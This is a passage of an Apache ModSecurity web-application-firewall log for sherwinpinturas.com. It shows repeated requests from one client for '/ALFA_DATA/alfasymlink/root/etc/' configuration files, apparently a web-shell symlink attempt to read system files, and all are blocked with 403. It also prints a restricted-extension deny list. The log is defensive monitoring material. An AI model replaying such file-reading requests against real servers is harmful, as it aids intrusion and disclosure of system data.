"/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/69-unifont.conf"] [unique_id "at5KlYtGhKGouuv1pXBVpQAAAAY"]
[Sun Oct 25 14:29:41.215673 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:53009] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/69-unifont.conf"] [unique_id "at5KlYtGhKGouuv1pXBVpQAAAAY"]
[Sun Oct 25 14:29:41.215892 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:53009] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/69-unifont.conf"] [unique_id "at5KlYtGhKGouuv1pXBVpQAAAAY"]
[Sun Oct 25 14:29:41.227771 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53006] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-nonlatin.conf"] [unique_id "at5Klb6D6j04LiS6yScWPwAAAAI"]
[Sun Oct 25 14:29:41.228089 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53006] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-nonlatin.conf"] [unique_id "at5Klb6D6j04LiS6yScWPwAAAAI"]
[Sun Oct 25 14:29:41.228341 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53006] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-nonlatin.conf"] [unique_id "at5Klb6D6j04LiS6yScWPwAAAAI"]
[Sun Oct 25 14:29:41.235629 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:53010] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/90-synthetic.conf"] [unique_id "at5Klb3kuBsxLRbAfYmomgAAAA4"]
[Sun Oct 25 14:29:41.262506 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:53010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/90-synthetic.conf"] [unique_id "at5Klb3kuBsxLRbAfYmomgAAAA4"]
[Sun Oct 25 14:29:41.262815 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:53010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/90-synthetic.conf"] [unique_id "at5Klb3kuBsxLRbAfYmomgAAAA4"]
[Sun Oct 25 14:29:41.237534 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:53004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-standard-symbols-ps.conf"] [unique_id "at5KlUqRyDR58ONJ8xcK9AAAAAs"]
[Sun Oct 25 14:29:41.247754 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:53036] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fuse.conf"] [unique_id "at5KlSEQblycZeXKbm74nAAAAAU"]
[Sun Oct 25 14:29:41.272014 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:53036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fuse.conf"] [unique_id "at5KlSEQblycZeXKbm74nAAAAAU"]
[Sun Oct 25 14:29:41.272289 2026] [security2:error] [pid 2879890:tid 2879890] [client 76.135.135.39:53036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fuse.conf"] [unique_id "at5KlSEQblycZeXKbm74nAAAAAU"]
[Sun Oct 25 14:29:41.256841 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:53034] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-google-droid-sans.conf"] [unique_id "at5KlUYY36dVli09oOhVagAAAAw"]
[Sun Oct 25 14:29:41.272894 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:53034] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-google-droid-sans.conf"] [unique_id "at5KlUYY36dVli09oOhVagAAAAw"]
[Sun Oct 25 14:29:41.273184 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:53034] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-google-droid-sans.conf"] [unique_id "at5KlUYY36dVli09oOhVagAAAAw"]
[Sun Oct 25 14:29:41.329906 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53040] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gcrypt/random.conf"] [unique_id "at5KlbmAKu18kw3DYL-POwAAAA8"]
[Sun Oct 25 14:29:41.330206 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53040] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gcrypt/random.conf"] [unique_id "at5KlbmAKu18kw3DYL-POwAAAA8"]
[Sun Oct 25 14:29:41.330440 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:53040] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gcrypt/random.conf"] [unique_id "at5KlbmAKu18kw3DYL-POwAAAA8"]
[Sun Oct 25 14:29:41.333100 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:53035] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/fonts.conf"] [unique_id "at5KleKLKrCYLMnXfck7fwAAAAg"]
[Sun Oct 25 14:29:41.333360 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:53035] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/fonts.conf"] [unique_id "at5KleKLKrCYLMnXfck7fwAAAAg"]
[Sun Oct 25 14:29:41.333595 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:53035] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/fonts.conf"] [unique_id "at5KleKLKrCYLMnXfck7fwAAAAg"]
[Sun Oct 25 14:29:41.334907 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:53048] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/24-nfs-server.conf"] [unique_id "at5KldId4uiAK8m2gJn9KgAAAAQ"]
[Sun Oct 25 14:29:41.335106 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:53048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/24-nfs-server.conf"] [unique_id "at5KldId4uiAK8m2gJn9KgAAAAQ"]
[Sun Oct 25 14:29:41.335347 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:53048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/24-nfs-server.conf"] [unique_id "at5KldId4uiAK8m2gJn9KgAAAAQ"]
[Sun Oct 25 14:29:41.338840 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:53043] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gss/mech.d/gssproxy.conf"] [unique_id "at5KlQl_YuTmdn3pCPOXWAAAAAk"]
[Sun Oct 25 14:29:41.339045 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:53043] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gss/mech.d/gssproxy.conf"] [unique_id "at5KlQl_YuTmdn3pCPOXWAAAAAk"]
[Sun Oct 25 14:29:41.339265 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:53043] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gss/mech.d/gssproxy.conf"] [unique_id "at5KlQl_YuTmdn3pCPOXWAAAAAk"]
[Sun Oct 25 14:29:41.445813 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:53082] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/gssproxy.conf"] [unique_id "at5KlYptOg7YDpX4xSOWwAAAABA"]
[Sun Oct 25 14:29:41.446141 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:53082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/gssproxy.conf"] [unique_id "at5KlYptOg7YDpX4xSOWwAAAABA"]
[Sun Oct 25 14:29:41.446411 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:53082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/gssproxy.conf"] [unique_id "at5KlYptOg7YDpX4xSOWwAAAABA"]
[Sun Oct 25 14:29:41.447780 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:53081] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/99-nfs-client.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtJAAAAAA"]
